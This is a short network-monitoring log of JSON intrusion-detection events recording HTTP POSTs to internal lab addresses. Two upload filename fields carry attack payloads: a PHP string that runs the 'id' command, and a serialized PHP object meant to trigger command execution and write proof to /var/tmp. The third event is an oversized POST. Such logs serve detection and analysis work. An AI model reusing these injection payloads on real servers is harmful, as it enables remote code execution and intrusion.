{"timestamp":"2026-10-21T19:57:24.441279-0400","flow_id":1279900380360932,"pcap_cnt":344,"event_type":"fileinfo","src_ip":"198.51.100.3","src_port":61361,"dest_ip":"10.3.10.249","dest_port":8080,"proto":"TCP","ip_v":4,"pkt_src":"wire/pcap","http":{"hostname":"10.3.10.249","url":"/index.php","http_content_type":"text/html","http_method":"POST","protocol":"HTTP/1.1","status":200,"length":299},"app_proto":"http","fileinfo":{"filename":"<?php echo '___START___'; system('id'); echo '___END___';?>","gaps":false,"state":"CLOSED","stored":false,"size":1,"tx_id":0}}
{"timestamp":"2026-10-21T19:57:40.444381-0400","flow_id":1308221508214057,"pcap_cnt":783,"event_type":"fileinfo","src_ip":"198.51.100.3","src_port":61438,"dest_ip":"10.3.10.249","dest_port":8081,"proto":"TCP","ip_v":4,"pkt_src":"wire/pcap","http":{"hostname":"10.3.10.249","url":"/app/upload.php","http_content_type":"text/plain","http_method":"POST","protocol":"HTTP/1.1","status":200,"length":61},"app_proto":"http","fileinfo":{"filename":"x|O:4:\"t\":1:{s:3:\"cmd\";s:32:\"id > /var/tmp/rce_proof.txt 2>&1\";}","gaps":false,"state":"CLOSED","stored":false,"size":1,"tx_id":0}}
{"timestamp":"2026-10-23T15:04:45.651518-0400","flow_id":420512782903365,"event_type":"http","src_ip":"10.88.0.1","src_port":43998,"dest_ip":"10.88.0.9","dest_port":80,"proto":"TCP","ip_v":4,"pkt_src":"stream (flow timeout)","tx_id":0,"http":{"hostname":"v","url":"/index.php","http_method":"POST","protocol":"HTTP/1.1","length":0,"request_headers":[{"name":"Host","value":"v"},{"name":"Content-Type","value":"application/x-www-form-urlencoded"},{"name":"Content-Length","value":"4843089"},{"name":"Connection","value":"close"}]}}